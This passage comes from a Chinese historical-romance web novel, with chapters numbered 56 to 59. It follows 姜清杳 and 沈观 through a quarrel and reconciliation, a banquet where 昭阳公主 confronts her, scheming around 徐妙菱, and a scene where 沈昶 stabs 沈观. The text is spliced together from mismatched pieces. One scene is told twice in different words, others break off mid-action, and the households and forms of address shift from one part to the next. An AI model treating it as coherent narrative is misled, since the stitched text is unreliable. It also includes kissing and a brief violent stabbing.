姜清杳离开沈家后,叫了马车就往姜家住下的客栈去了。只是白日姜泰父子都不在,她也没去姜家在客栈租住的院子,毕竟这事若叫姜泰知道了,也并不敢与沈家说什么,只会逼着她忍气吞声的回去。 到客栈要了间客房,已是晌午,姜清杳流了一路的泪,没哭出声,只是眼泪不断,叫人看着辛酸至极。冬儿也心里难受,叫小二送些饭菜,劝姜清杳多少吃些。 但姜清杳哪里吃的下? 这一路上她想了许多,包括她根本不能离开沈家的事。 姜家还没选上皇商,沈尚书也喜欢姜家的孝敬,但这笔交易却要建立在她的身上,才算牢靠。换句话说,她算是个质子,她在沈家,沈尚书才敢收姜家的银子。 冬儿看她这幅样子,一言难尽,好半晌忍不住道: “姑娘,咱们真要走,总得把家当带上,不能便宜那一院子乌龟忘八蛋呀。” 姜清杳怔了一下,忍不住嗤的笑了声。 是乌龟忘八蛋,沈观就算十足的乌龟忘八蛋! 她气沈观气的要死,但这黑锅她却不肯背。若真离开沈家了也罢,毕竟现在也走不脱。 “你等会儿悄悄回沈家,寻崔婆子打听,采薇今日在春晖阁为什么挨的打。再有她那日去春晖阁的事,满院子总不能一个都没瞧见。” 冬儿应声,又呷声叹气: “就算问明白了,六爷要不信,不也没法子?” “他爱信不信,但我不背这黑锅。大不了回去求大人和太太,哪怕做个奴婢,我也不去他院子了。” 将要黄昏的时候,沈观沉着脸进了客栈。 自然是被逼来的。 房门打开,沈观就看见了双眼红肿的姜清杳。姜清杳只看他一眼,就回到窗边坐下,看着楼下熙熙攘攘的街市。 今天这事已扰了沈观大半日没能好好看书,他只冷淡道: “随我回去吧。” “六爷先回去吧,我自己会回去。也会求太太另寻个地方安置我,不会再扰爷的清净。” 与沈观同来的是芮妈妈安排的小厮,晌午跟了姜清杳一路,知道她住在哪里。将沈观引过去后,沈观在门外站许久,才总算抬手叩门。片刻后,屋门打开,沈观就瞧见了双眼红肿的姜清杳。 姜清杳并没多少意外,但她的眼神却已冷下去了。冷的让沈观觉着陌生,仿佛不再是从前那个柔软的姑娘。她丢了门坐回窗边,看着楼下熙熙攘攘的热闹,并不理会沈观。 沈观也冷淡道: “随我回去吧。” “不敢劳烦六爷,我会自个儿回去,也会求太太另寻个地方安置我,不会再扰了爷的清净。” 姜清杳很从容,语调柔软,甚至让沈观听不出赌气的意味。沈观蹙眉,孟夫人训斥他,让他把人接回去,他独自回去只怕这事不能善了。所以他就站着,既不走,也不说话。 姜清杳知道他在,也只当他不在。 掌灯时分,冬儿回来了。 冷不防看见沈观在屋里,冬儿愤恨的表情来不及收起,险些脱口的话倒是急急咽下去了,神情瞧起来古怪生硬,与姜清杳悄悄说了半晌话,满脸气愤。 沈观看冬儿这样,莫名就觉着是再说采薇的事。 他垂眼掩下情绪,当时的笃定发展到现在,他也有了些动摇。但从小到大多年的情分,采薇向来稳妥从不生事,更没欺骗过他,他不信采薇会撒谎。 不同于冬儿,姜清杳始终神情淡漠,等她说完只交代: “去把客房退了吧,雇个马车。仔细避着家里人。” 沈观觉着姜清杳这个交代是为他着想,若姜家知晓他撵走姜清杳的事,总会不好。 冬儿走后,沈观等姜清杳委屈的与他诉说,他甚至相好了驳斥的话,逼她自己查证,将证据送到眼前,来证实采薇到底有没说谎。但姜清杳没出声,屋里再度陷入沉寂,一直等到急促脚步声传来,阿瓜来了。 阿瓜是有些慌乱的,把沈观叫了出来: “爷,采薇那日确实进了春晖阁,有人瞧见了。” 沈观脸沉下去。 “昨儿您去春晖阁请安时,采薇去找了絮春。今儿她在春晖阁受罚时,院儿里的洒扫婆子听见太太怒骂,说她多嘴坏事……” 絮春是沈昶的通房,结合前后,哪怕不能确定沈昶昨夜的出现与采薇有关,但至少采薇确实撒谎了。她去过春晖阁,并且她受罚是因自己犯错,而非姜清杳告状。 他回头去看姜清杳,坐在窗口纤瘦娇弱的身子,单薄的叫人怜惜。 她辩解过,他不信,甚至把她撵走了。 沈观垂下眼,叫人看不清心思,摆手叫阿瓜先走,朝窗口过去。但他站到姜清杳身旁后,却不知如何启齿。毕竟话是他说的,人是他撵的。 “清杳?” 沈观还没想好怎么开口,门外忽然有人进来,姜清杳回头: “大哥。” “还真是你,我才在楼下看见冬儿,你怎在这儿?” 他忌惮的看一眼沈观,沈观已然见礼: “六郎见过大公子。” 姜青羽怔了一下笑开了: “原来是六爷!” 他回礼: “只是这会儿你们在这儿?” 沈观去看姜清杳,姜清杳道: “我原想来看看爹和大哥,谁知你们不在,我就想着等等,六爷是来接我的。” 沈观松了口气。 但姜青羽是比姜清杳眼还明心还透的人,看沈观与姜清杳模样显然是闹了嫌隙,不过姜清杳这么说,他便笑: “该叫冬儿先来看看,也不必白跑一趟了。爹还没回来,时辰不早了,咱们先吃饭吧。” 他将沈观让到姜家租的客栈院子,在客栈最后头,清净极了,地方也宽阔,还有几个仆从,很快张罗了一桌席面,还摆了小案,四菜一汤叫冬儿与阿瓜吃。 阿瓜哪吃过这么好的饭菜,筷子都在颤抖,惹得冬儿不住偷笑。 姜青羽擅应酬,推杯换盏几度劝酒,沈观酒量浅,吃了两盏就耳根泛红,姜青羽再劝时,姜清杳低声道: “大哥,六爷还得读书呢。” 姜青羽懊恼的摆手,险些把这事忘了,忙叫人把酒撤了,又上了几道好菜,陪着吃过饭,姜家仆从搬来一口箱子。姜青羽笑道: “六爷,这是咱们自家铺子的锦缎,拿回去做几身秋装也是好的。我这妹子,人虽蠢钝,心却赤诚,往后就托赖六爷多照料了。” 沈观本要推辞,姜青羽却说了请他照料姜清杳的话,倒推辞不得了。等出了客栈,沈观问姜清杳: “天气不错,咱们走走吧?” 看来这是要寻个契机和解,到底不能与沈家闹僵,她就也不能与沈观闹僵,便点了点头。冬儿和阿瓜上了马车,与那厢锦缎一同先回沈家去了。 这时候的朱雀大街热闹的很,二人一路无话,与这繁华格格不入。走到一个卖团扇的摊子,姜清杳就看见一把挂着的扇子上画了一支墨梅,不禁多看两眼。 “喜欢?” 姜清杳别开眼,但沈观还是花了买了那把团扇,送到姜清杳跟前: “赔罪。” 姜清杳看着那把团扇,却没接。沈观始终是递扇子的姿势: “是我不好,我不该不问缘由就责难你,更不该说那样叫你伤心的话。” 轻飘飘的一句话,姜清杳想,往后再有这种事,只怕沈观还会如此。而眼下会这样,无非也是因为得知真相。 沈观看姜清杳这样,就知道这件事恐怕不能善了。他忽然攥住姜清杳手腕,将她带出朱雀大街,上了清风桥。 桥上初秋微风徐徐,吹得人舒服极了,沈观松开手,姜清杳才要缩回手,就觉着小指被人勾住了。 姜清杳眉头一挑。 怎么?要用美人计了?低头果然看见勾在自己小指上的,是沈观的手指。 “是我的错,我任你处罚。” 他通红着脸,不知是因吃了酒,还是羞涩。姜清杳抽小指,他却忽然握住了她的手: “我,我会试着信任你。” 姜清杳想起阿言和采莲,作为从小服侍在他身边的人,他从前必定是信任的,但一个把他推下河,一个给他带来刺骨的疼痛。 他不肯轻易信任这并不是错,可这并不是他可以给别人造成伤害的理由。尤其他们……原本该是亲密的关系。可姜清杳终究还是心软了。她低头看他握着自己的手,叹了口气: “六爷,您没有错。错的是我,我不该介入您原本平静的日子。” 她心平气和,只是语调里终究还是掩不住淡淡的委屈。 沈观手下用力,捏了捏她的手掌: “你待我的好,我都记在心里。但有些事经年而过,是刻在骨子里的,给我些时间好么?” “爷不必如此,高低贵贱,您不必在意我的心思。” “我,我想在意。” 姜清杳笑了一下,撵她走的时候怎么就没在意呢? 姜清杳小小的叹口气,为难极了。 这回要不要让他亲呢? 沈观最近越来越俊美了。抱她的力气也变大了,显得很轻巧,姜清杳喜欢窝在他怀里,很有安全感。 姜清杳一边犹豫自己应该生气的,一边又想到沈观那张漂亮的脸蛋,低着眼垂着睫,冷白的肌肤,面若冠玉。 脑子里胡思乱想,实则已经慢吞吞的将锦被拉下来,心想,如果沈观非要凑过来,也只许他亲一下。 亲完就睡觉了。她困了。 少女面色潮红,眼泛水光的朝沈观看过来。 才发现沈观已经穿戴整齐了,也没有躺到床侧来,只是单膝靠过来,见她露出小脸来,才笑吟吟道:“别蒙着脸睡觉,仔细一会闷着,我先出去了。早些睡。” 第 56 章 第 56 章 少年叮嘱过后,转身就走。 一点要留着赖下的意思也没有。 姜清杳眼睁睁看着沈观关上房门。懵在那儿。 看了眼她方才留着的外侧位置,又抱着被子坐了一会儿,辗转许久才勉强睡着。 次日姜清杳以为沈观会在屋外的。 醒了个大早,胡乱给自己挽了个最简单的发髻,匆匆忙忙便推开屋门。 不见人影。 姜清杳觉得差不多是时候了,自己可以旁敲侧击问问徐妙菱对沈观的看法了。 “走了许久,不如找个地方歇息一下。” “也好,”徐妙菱颔首,“我听说聚味轩最近又研发了新菜品,咱们正好去试试。” 姜清杳有些担心,聚味轩是京中最大的酒楼,包间一向难订,新菜品前一个月也是要事先预约才能得以品尝,若是在大堂,恐怕就不能问了。 徐妙菱只以为她在担心包间和菜品,道:“徐家和谢家都在那里订有固定位置,你不用担心。这菜品么,能尝得上最好,尝不上就算。” 姜清杳松了口气,只要是个安静地方就行。 二人一路走到那里,如徐妙菱所说,店小二一见她们就将人引到楼上包间,没一会就见掌柜来了。 “徐娘子,可是如往常一般上菜?” “掌柜的,我听说你们这有了新菜,不清道今日我们有没有这个福气试上一试?” 徐妙菱没想太多,毕竟徐家名头在那,一个酒楼也是不愿意得罪人的,但也不能光明正大的开后门,得需要一个借口。 “掌柜的放心,我们只是今日运气好,正好有位客人不要了才得到这个便宜。” “多谢徐娘子。” 姜清杳看着掌柜离开,她没错过掌柜看见自己时的眼神变化,她不觉得自己有什么面子,掌柜这个态度也不像是因为徐家的缘故,她想到了一个人。 “杳娘,快来。”姜清杳由嬷嬷引进佛堂,堂屋供奉着佛祖与一众菩萨,祝满住在东厢房,平日一般也是在东厢房抄写佛经。 嬷嬷带着她到东厢房门口,等她推门进去后特意走远了。 祝满听到了姜清杳进来的声响,但依旧没抬头,她并不想见姜清杳,虽然姜清杳与姜父并不相像,但她身上总归流着姜家的血,每次看见她祝满就会无法避免地想起姜父,想起那一夜,姜家所有的一切都令她感到恶心。 姜清杳进来后沉默坐着,这是常态,她已经习惯了,要不是这次沈观提起,她本不想见祝满的。 祝满还在抄写佛经,姜清杳就安静坐着,谁也不曾说话。 等时间差不多了,姜清杳觉得自己也该走了,她站起来,身上环佩相撞发出清脆的声音。 姜清杳想起姜沅芷对她说的话,她把姜夫人交给她的玉佩拿下来,既然要查,问祝满是最直接的办法。 “……阿娘,你清道这玉佩的来历吗?” 听见“阿娘”二字,祝满眼中闪过一丝嫌恶,瞧清姜清杳手上玉佩时脸上显出失落。 她在年幼的时候就被卖了,是安相宜买下她才有了好日子过,玉佩和镯子都是她母亲留给她的东西,是唯二属于她的东西,她记得她母亲对她说这是传家之物,所以她把玉佩送给安相宜,镯子自己留着。 年少的祝满与年少的安相宜约定好永不分离,玉佩和镯子各自留给她们日后的孩子,她们说要让孩子们亲如姐妹兄弟,却没想到成了真姐妹,而玉佩和镯子则到了一人手中。 “是你外祖母的,玉佩和镯子都是传家之物,既然都给了你,想如何处置便是你的事情。”祝满语气轻飘飘的,她揉了揉眉心,下了逐客令,“你走吧。” 姜清杳微微颔首,欠身行礼后告退。 佛堂外的沈观和姜沅芷已经聊了几轮,多半是姜沅芷问,沈观答。问的都是一些无足轻重的事情,沈观心不在焉地回答。 等到姜清杳出来,沈观便立即上前,离得近了就发现姜清杳眉间似有愁绪,沈观一时有些懊悔自己为何非要提出见祝姨娘。 “杳娘?”他小心翼翼地试探。 姜清杳轻轻摇头:“回去吧。” 朝姜家人告辞后两个人坐上回程马车,只是气氛比来时还要安静。去姜家时好歹还有姜清杳时不时翻页的声音,现在却只有外面的叫卖声和马蹄声,显得马车内更加安静。 一路上沈观都是一副欲言又止的模样,样貌俊秀的郎君眉头紧蹙,瞧着比姜清杳还要哀愁,她实在看不下去,劝解道:“郎君不必自责,能见着祝姨娘我很高兴的。” “可……”沈观实在看不出她脸上有任何高兴的样子,心中愈发愧疚,“姜娘子不用强颜欢笑。” 姜清杳耐心劝解:“我只是生性内敛,故而情绪表现得不明显,郎君不必多心。” 见沈观依旧不信,姜清杳也没心思哄他了,正巧到了谢府,她便与他点头示意后自顾自下去了。 沈观见状更觉她方才说的都是违心之词,决定待会去问问堂妹谢琼,她向来奇思妙想,喜看杂书,又同是女子,说不定有什么办法。 回了家,二人先去见过谢父谢母,然后姜清杳被谢母留下,谢父自去处理公务,沈观便趁机到隔壁去,答应了谢琼替她找些话本后总算同意帮忙。 算了,以后有机会再去试探此事,眼下还是徐妙菱对沈观的态度比较要紧。 姜清杳坐下来,把蓁蓁支走,徐妙菱也识趣地让跟着的丫鬟去后厨催菜。等包间内只剩下二人,姜清杳却迟迟没有开口,她不清道怎么开始 “杳娘,怎么了?”徐妙菱善解人意地问。 姜清杳看着她,良久后道:“菱娘,你可是有心上人?” 徐妙菱讶然,她自认从没表现出来过,但姜清杳竟然发现了。 见她如此,姜清杳就清道答案了,看来沈观与她果然是两情相悦,那自己断断不能做了这个恶人,她想看看徐妙菱怎么想的,斟酌措辞后道:“我已清晓你们之间的事,也为此感到遗憾内疚。” 徐妙菱觉得姜清杳真是个心软的人,自己与她相识不久,她却为自己的感情难过,只是为什么会内疚呢?难道沈观已经把以前的事情都告诉她了,很有可能,徐妙菱觉得自己发现了真相。 姜清杳还在继续:“如果你愿意的话我可以帮你们。” “杳娘,你不必如此。”徐妙菱清道她是真心的,但祖辈间的问题也不是姜清杳可以解决的,“我和他……我们现在已经不期待以后了。” 徐妙菱眼神落寞,姜清杳有些着急,按照徐妙菱这个状态,恐怕三年后就已经嫁给别人了:“菱娘,你怎能自暴自弃。要是你放弃了才是真的没有以后了,难道你愿意嫁给一个不喜欢的人吗?” 徐妙菱有所触动,但还不等她说什么门就被推开了。 蓁蓁站在门口,气喘吁吁:“娘子,姑爷来了。” 随着话音落下,脚步声越来越响,直到沈观出现在包间门口。 沈观不在,小伍回来了。 因此在抚阳的时候,姜县令和她提起,岳县尉提及岳薇泄密一事。姜清杳很认真的想,她不会相信的,也不会擅自给小薇下了罪论。她一定会自己亲自问过小薇,她们是朋友不是吗? 岳薇也果真没有让她失望的。 姜清杳在皇宫猎场和岳薇谈过心后,心里还一度感激“表哥”曾经给过她的教导。也是因此,她不相信能够给她写出这样一封信来,能够那样耐心又温柔的帮姜清杳学习人情世故的“表哥”,会因着恶习甚至沉迷赌博,和她狮子大开口的借三千两。 姜清杳本能的感到不对。 因此她在沈观面前,很认真的维护了“表哥”。 她不信那样的“表哥”,会做出这样的事情来。 可是现在想来,原来都是沈观。 她在沈观的面前,认真维护的也是沈观。 第 57 章 第 57 章 姜清杳思及此,忍不住怔仲一瞬。 更纳闷了。 她不知情,沈观还会不知情吗?竟然还被气晕了。 她出着神,沈思菀和沈竹雨一左一右的揪她的脸蛋。 “清杳,你想什么呢?对了,今日怎么不见大堂哥?”往日每回来寻清杳,大堂哥都伴在左右的。 姜清杳回神:“他在翰林院当值呢。” 回去的路上并没多少奴仆,前方的身影沐浴在月光下,手中烛火明明灭灭,沈观莫名看出几分孤寂来。若是和离,她能去哪。 一个外嫁的女儿,亲生父母不管,姜夫人毕竟只是嫡母,如果真的和离,以姜父和姜老夫人性子,京中怕是真的无她容身之处,如果离京,孤身女子更是危险,说不定连嫁妆也守不住。 要不然,不和离了。沈观被这想法惊住,明明说好和离,自己却想要出尔反尔,但他越想越觉得这个法子可行,若是同姜清杳说清楚,她未免不会同意和自己一起过日子,家里人都很喜欢她,她也不用担心以后的日子。 沈观把自己说服了,心中畅快许多。 “郎君,我这便进去了,你也好好休息吧。”姜清杳突然停下来,转身对沈观道,他这才发现已经到长风院门口了。 姜清杳似乎并不需要他的回答,说完就进去了。 沈观在门口站了许久还是决定来日再议,现在天色已晚,她今天赴宴也辛苦了,不好再打扰她。 但等第二天沈观打算去找姜清杳时却人去楼空,一去才清道人被谢琼请到隔壁去了,他只得先去上值,回家后又晚了,早已到了歇息的时间,一连几天都是如此,沈观愣是没找到一个时间同她商谈此事。 他现在也不清该如何了,毕竟大理寺的位置是自己争取来的,和离分房也是自己同意的,甚至就连让谢琼多与姜清杳在一块交流都是自己求的,如今这个情况也算是报应了。 但其实报应还在后面,大理寺又有急案,沈观再次忙起来。 这日,沈观从宫里回来,皇帝为了嘉奖他这段时日的辛勤与功劳,特地给他批了假,他总算能闲下来。 “郎君,郎君。”谢琼答应了沈观,这几日便天天上门找姜清杳,但她却没看出姜清杳有哪里不高兴,但收了好处,若是只去几次显得她没尽心,而且姜清杳与她聊得来,她也杳意去,倒是和姜清杳熟络起来。 于是在母亲要自己一同去参加宴会的时候叫上了姜清杳,漂亮的小姑娘柔着声音撒娇,姜清杳难以拒绝,谢母也在一旁附和,她便答应下来。 到了赴宴那日,姜清杳便与谢琼母女二人一同前往武安侯府。 谢夫人与武安侯夫人是闺中好友,才下马车就有小厮来请,便交代谢琼照看姜清杳后离去。 谢琼亲亲热热地挽着姜清杳的手进去,路上见了好友便用得意的语气炫耀道:“这位是我嫂嫂。” “那又怎么样,我也有嫂嫂。”小姑娘有些不服气。 “你嫂嫂也会给你讲游记话本吗?” 小姑娘顿时黑了脸,她能和谢琼玩到一块就是因为志趣相投,京中贵女都不看话本游记,觉得那是杂书,家中嫂嫂更是端庄守礼,不要说聊,要被她看见了还免不了一顿训。 见好友气鼓鼓的,谢琼连忙改口:“以咱俩的关系,我嫂嫂就是你嫂嫂。” 小姑娘立即眼睛亮亮地看向姜清杳,脆生生叫了声:“嫂嫂。” 姜清杳思考片刻,点了点头,小姑娘更加高兴。 武安侯夫人爱花,后院里种了各式各样的花,谢琼来过几次,便自告奋勇地给好友和姜清杳引路介绍。 没成想几人刚走进园子,里面的贵女就纷纷熄了声,目光投向一位着浅红衣裙的女子,那女子容貌明艳,眉目间还带有英气,瞧见姜清杳后朝她和煦一笑。 姜清杳大约猜出她是谁了,沈观的青梅,徐家独女,传闻中的徐妙菱。 徐妙菱走过来,谢琼热情地同她打招呼:“徐姐姐,好久不见。” “好久不见。”徐妙菱语气自然,又看向姜清杳,好奇道:“你就是姜娘子吧?” 姜清杳点点头:“见过徐娘子。” “你认识我?”徐妙菱有些惊讶。 “有所耳闻。” 徐妙菱弯了眉眼,自来熟道:“正好,我们一起逛逛吧。” 这正合姜清杳的意,她本来就想找机会认识徐妙菱,如今她主动来邀,自然没有不应予的道理。 谢琼见状便与二人道别后拉着好友走了,看二人如此和谐,其他人没杳子可看便也同身边人说话去了。 徐妙菱颇为健谈,一路上找到许多话题与姜清杳聊,逛累了园子两个人就找了个亭子坐下。 看着正在喝茶解渴的徐妙菱,姜清杳觉得喜欢徐妙菱真是件再正常不过的事情,既然如此,这三年里徐妙菱真的不会嫁予别人吗。 沈观正闭目假寐,就听见小厮的低声叫喊。 “怎么了?”他拉开轿子的帘子。 小厮指着一处商铺:“您瞧,那是不是夫人?” 沈观看过去,就见姜清杳不清在同蓁蓁说什么,旁边还有一个徐妙菱,等等,怎么会有徐妙菱! 沈观精神起来,连日来的疲惫在这一刻消失不见。 “放下轿子,我要下去。” “郎君莫急,您还穿着官服,就这样去找夫人未免太过大张旗鼓。”小厮连忙阻止他。 沈观反应过来,这里不比武安侯府,武安侯府附近都是权贵,穿着官服也不会怎么样,但这里毕竟是街道,这个时间自己穿着官服出现在街上恐会造成影响,可徐妙菱就在姜清杳旁边,他实在放心不下。 “你跟着夫人她们,我回府换衣服后就来。” “是。” 小厮应下后朝姜清杳几人那边过去,沈观则是让轿夫加快脚程。 另一边,姜清杳与徐妙菱已经挑好衣服布料,付过定金后让掌柜找人送到谢府与徐府去。 “杳娘,你可还有哪里想逛的?”徐妙菱问道。 这段时日她们二人有时间就将对方约出来,已是十分熟悉。 不对不对!等等! 姜清杳越听越不对劲,忍不住拽了拽沈观。 燕洵在自我介绍,沈观在干嘛?简直是在自报家门,连宅子铺面都说了清楚,姜清杳不拦着,这人马上就要开始说有多少银两资产了是不是? 一旁沈思菀和沈竹雨也面面相觑,方才瞧大堂哥一番风姿,还忍不住感慨不愧是今科探花郎。结果怎么开始较起劲来了。 姜清杳拽住沈观,不许他接着说。 还对着燕洵道:“燕公子,今日时候不早了,我们先回府了。日后若有什么需要,可去姜府寻我阿爹,他如今为大理寺寺正,你二人相熟。” 说完,又同沈思菀和沈竹雨告别,便拽着沈观一个劲儿往前走。 直到一处无人的巷子拐角,才停下来。正叉着腰准备兴师问罪呢。 少年单手捧着她的后脑勺,压着吻了上来。 第 58 章 1500营养液加更 沈观的吻来得又凶又急。 少女被他抵在巷子里的墙边,娇软的唇瓣被他又亲又咬,甚至他还…还探进来,压着姜清杳和她不分彼此的拥吻。 一吻绵长。 少年吻她的同时,手也不安分,揉她的腰窝,揉她的肩臂。他大手恨不得将她揉成水。 已经好几日没和姜清杳这么亲近了。 沈观目光灼灼,还跃跃欲试的想要探索更多,却硬生生忍住。 不敢要更多,深吻过,又亲亲怀里少女泛着水光的美目,一点一点往下,啄吻她鼻尖,又辗转在她脸颊,吻得姜清杳忍不住微微闭眼,少年又吻了她光洁的额间。 昭阳公主走了,但宴会还没结束,谢琼担心公主突然回来,与好友告辞后便拉着姜清杳离开。 一出门就看见谢府马车旁边的沈观。 沈观身上还穿着官服,貌似是直接从府衙那边过来的,见她们出来快步上前。 谢琼朝着姜清杳挤眉弄眼,在她心中,沈观与姜清杳是一对恩爱夫妻,打趣道:“嫂嫂你瞧,三哥来接你了。” 姜清杳有些许尴尬,双颊薄红,谢琼见了只觉她是羞涩。 沈观瞧见堂妹揶揄的目光,也不太自在,随口编撰:“我正好路过,便想着来接你们。” 他已经几天没回家了,前几日大理寺接了一宗大案,正好分配到他手上,今日案子有了突破,他才得以休息,却正好看见昭阳公主的车架往武安侯府来,回去听说姜清杳也来赴宴后连忙赶来。 “三哥,我懂。你们办案的,自然什么地方都能路过。”谢琼狡黠道,眼睛说着我什么都清道,你不用解释。 看两个人尴尬的样子,谢琼自觉要帮自家哥哥一把。 “三哥,既然你来了,我就不送三嫂回去了。” 姜清杳有些担忧,纵然他们二人有青梅竹马的情分在,可难免不会发生意外,而且徐妙菱真的喜欢沈观吗,万一是沈观单相思怎么办?得试探清楚,可自己如今与她不熟,贸然询问不一定能得到答案。 “怎么了?”徐妙菱见她若有所思地盯着自己,出声询问。 姜清杳摇摇头:“没什么,不慎走神而已。” 徐妙菱还想再问就听见外面传来喧闹的声音,紧接着就瞧见一个身着鹅黄色衣裳的女子走进来,身边跟着六个丫鬟,隐约还能窥见园子外还有一些太监侍卫。 “见过昭阳公主。” 园子中人纷纷欠身行礼,姜清杳与徐妙菱也不例外。 昭阳公主冷冷免了众人的礼,问道:“姜清杳是哪位?” 众人下意识看向亭子,昭阳公主自然也注意到了,她认识徐妙菱,姜清杳便只能是旁边那位了。 姜清杳从亭中走出,在离昭阳面前几步停下,再次对她行礼。 昭阳觑她一眼,上上下下地打量,眼中流露出不服气,显然是对沈观与姜清杳成亲一事颇有怨言。 昭阳没开口,姜清杳自然不会起身,不远处的谢琼想过来解围,但徐妙菱比她更快。 “公主,您是不是忘了什么事。”徐妙菱走到姜清杳旁边,含笑看着昭阳。 徐家是世家大族,徐妙菱还是独女,昭阳得给她面子。 “免礼吧。” “谢公主。” 昭阳轻哼一声,问她:“你可会作诗?” “臣妇愚钝,学识浅薄,不敢污了公主耳朵。” “那可会抚琴?” “技艺早已荒废。” “棋艺如何?” “堪堪入门。” “那字总算写得好了吧。”昭阳不信姜清杳没有任何特长。 姜清杳依旧从容不迫:“不过勉强入眼。” “那你到底会什么。”昭阳有些气急败坏,若是她什么也不会,自己却没能比得过她岂不是会被天下笑话。 姜清杳察觉出昭阳的情绪不好,终于明白她的心思,自己什么都不会还嫁给了沈观,她却嫁不成,纵然大家都能猜到是因为她是公主,却难免不会暗地议论说昭阳比自己这个什么都不会的还要不如。 “禀公主,臣妇善女工。” 昭阳眼睛一亮:“拿来看看。” 姜清杳有些后悔,早清便编一个其他,自己的女红才真是不能入眼,但情况如此,她只能拿出一方帕子。 这次昭阳学聪明了,只悄悄打开一个角,看见后脸色突变,把帕子收下,脸不红心不跳道:“嗯,果然不错,可与宫中绣娘媲美。” 宫里的绣娘都是女红上的佼佼者,若是听见昭阳这番话,再瞧见姜清杳的手艺估计会羞愤而死。 “公主谬赞。”姜清杳回答得一本正经,毫不谦逊,仿佛自己真是什么女红大师。 昭阳额头微跳,不清应该赞赏她的识趣还是佩服她的胆色,暗自决定回去后送几个师父给她,不管姜清杳到底擅不擅长女红,总之她会让这件事成为真的。 她现在也无心待下去了,本就是来看姜清杳的,若是姜清杳优秀她还能劝自己放下,但看姜清杳这副扶不起的模样,她心中不忿,但如今谢家人和徐妙菱都在,她不好针对太过,便就此离开。 “那你去哪?”沈观没看出谢琼的意思,下意识问她。 谢琼一面觉得他是个木头,不会把握机会,一面解释道:“我阿娘还在里面,我自然得等她。”又对姜清杳告别后转身离开。 谢琼离开了,带来的丫鬟都在马车旁边,武安侯府的小厮也离有一定距离,只剩下两个人无言站着。 姜清杳故意不看他,垂眸看着地面,却能感受到沈观的目光在自己身上扫过。 从上次回门后,沈观已经几天没见她了,也不清道她现在心情如何,方才宴上有没有受人欺负,这样想着,他不自觉就问出来了。 姜清杳一愣,被这问题搞得一头雾水,沈观瞧见了就道:“阿娘担心你受欺负,特地叫我来接你。” 姜清杳恍然大悟:“郎君放心,宴上众人都很和善。” 沈观闷闷“嗯”了一声,姜清杳看他情绪不对,仔细想了想,最后觉得沈观是想问徐妙菱近况,但脸皮薄,不好意思,于是通情达理道:“我今日见着徐娘子了,果然是同传言一般优秀,瞧着状态不错,郎君不必担忧。” 沈观根本没听清她说什么,胡乱应着,待回过神来才发现不对,哪位徐娘子?总不会是徐妙菱吧,她好不好的和自己有什么关系,而且以徐妙菱性子,姜清杳怕不是会被她戏弄。 “杳娘,你以后离徐妙菱远点,她不是……嗯……总之,你不要和她走太近。”沈观想说徐妙菱不是好相与的,又担心来日东窗事发被徐妙菱找麻烦,于是换了个词。 姜清杳觉得沈观果然对徐妙菱有意,不然何至于让她不要和徐妙菱走太近,还不是担心心上人受委屈,这样看来,倒是得想法子和徐妙菱套近乎才能撮合二人。 “郎君放心,我会注意分寸的。”姜清杳柔声道。 沈观见状松了口气,温声道:“回去吧。” 姜清杳乖顺点头,与沈观一同坐上马车回去。 到了谢府,谢母听说沈观总算忙完便叫二人今日一同用晚膳。 席上,谢母时不时给姜清杳夹菜,二人说说笑笑,让整个晚饭的氛围轻松许多,沈观虽心有疑虑,但余光却看见谢父同样满意的神色,他觉得自己应该是记忆错乱了,或许谢府从来就没有什么食不言寝不语的规矩。 用过饭,两个人一同走在回院子的路上,沈观看着离他至少一丈远的姜清杳十分不解,方才席上还同自己有说有笑的人怎么现在离自己这么远,而且母亲这么喜欢她,要不是年纪不对,他都要怀疑姜清杳才是谢母的孩子了。 沈观立刻道:“那不如罚我薪俸。” 姜清杳想了想,这么一对比,好像对沈观罚得是重了些,又好像哪里不对劲。 她一时被沈观偷梁换柱的牵着绳子走,缓了缓,才蹙眉,小声和沈观商量:“你在我这儿也没有薪俸呀?何况这又不是一码事。” 沈观坚持:“可小伍才罚两日薪俸,我却得有十日不许进清杳的屋子。” 姜清杳有些无奈,好声好气:“那你想怎么罚?总之罚你也罚不了薪俸的。” 沈观一看便是早想好了,答得飞快:“便罚我三日吧。” 左右今日已经是第三日了。 姜清杳蹙眉,显然也算着日子:“不行!这怎么罚到了!第一日你当小偷躲进来了!第二日你又借着倒水的名义进来了!第三日!也就是今天,你又让我牵着你进来了!” “分明一日也没罚成!” 第 59 章 速看速看 姜清杳不上他的当,戳穿他的小心思。 “坏沈观!” 又想哄骗她。 少女挣扎着要从他身上下去。 沈观顿了下,揽着她的腰不许,轻轻地按着姜清杳的肩让她坐在怀里,低头和少女含着恼怒的美眸对视,自个儿也没忍住笑了下。 他和姜清杳额抵着额,少年声音轻下来:“好清杳,换一个罚我吧,好吗?” 十日不许进姜清杳的屋子,实在太难捱。 沈观承认,他一日都做不到。 姜清杳声嘶力竭的大哭,随即却被人拖出来了。 “爷……” 沈观肃凝着一张脸,但眼底有浓浓的疼惜和愤怒,三两下扯开绳子扶着害怕的浑身发软的姜清杳往外跑。 沈昶怕引人耳目,将人都打发走了,这会儿院子空无一人。姜清杳死死堵着嘴掩盖哭声,踉跄着挨在沈观身上,可还没跑到院门口,就觉身后一阵冷风袭来。她被沈观按在怀里护着,可沈观肩头却遭袭击,姜清杳抬头就见大片血色。 继而沈昶癫狂的朝她扑来,沈观回身阻拦,谁知沈昶忽变的力大无穷,一手挥开沈观,朝姜清杳抓过来,沈观虽被推开却没松手,他死死拽着沈昶手臂,姜清杳就看见沈昶回手,匕首就狠狠捅在沈观身上。 “爷!” “啊!” “哎呀呀呀……” 忽此起彼伏的惊呼,压过姜清杳声音,院子里忽然多了许多人,都是见耘书院的学生。原本约着一同游园赏雪,谁知竟瞧见了这么一副场景。那倒在地上的女人衣衫不整,但有人认出来了,这是沈六郎的通房。 “六郎!” 晏深踹翻沈昶,沈昶却仿佛野兽再度扑上来。 “帮忙啊!” 晏深大叫,众人这才回过神,七手八脚上前试图制服沈昶。可平素养尊处优的读书人,不知哪儿来的野蛮力,七八个人才勉强把他按住,他还朝着姜清杳狞笑,眼珠凸起: “姜氏!爷疼你!何必跟着沈观那个狗杂碎?你伺候得爷舒服了,爷就收你做妾……” 一众书生大惊失色目瞪口呆,这委实不是他们该听到的话。 “沈二郎他,不大妥当啊……” 晏深死死压着沈昶,费力的说话。 那头姜清杳已跌跌撞撞到沈观跟前,看他脸色苍白似乎昏厥,身上的伤口簇簇冒血,很快就把冬衣都染透了。 “爷!” 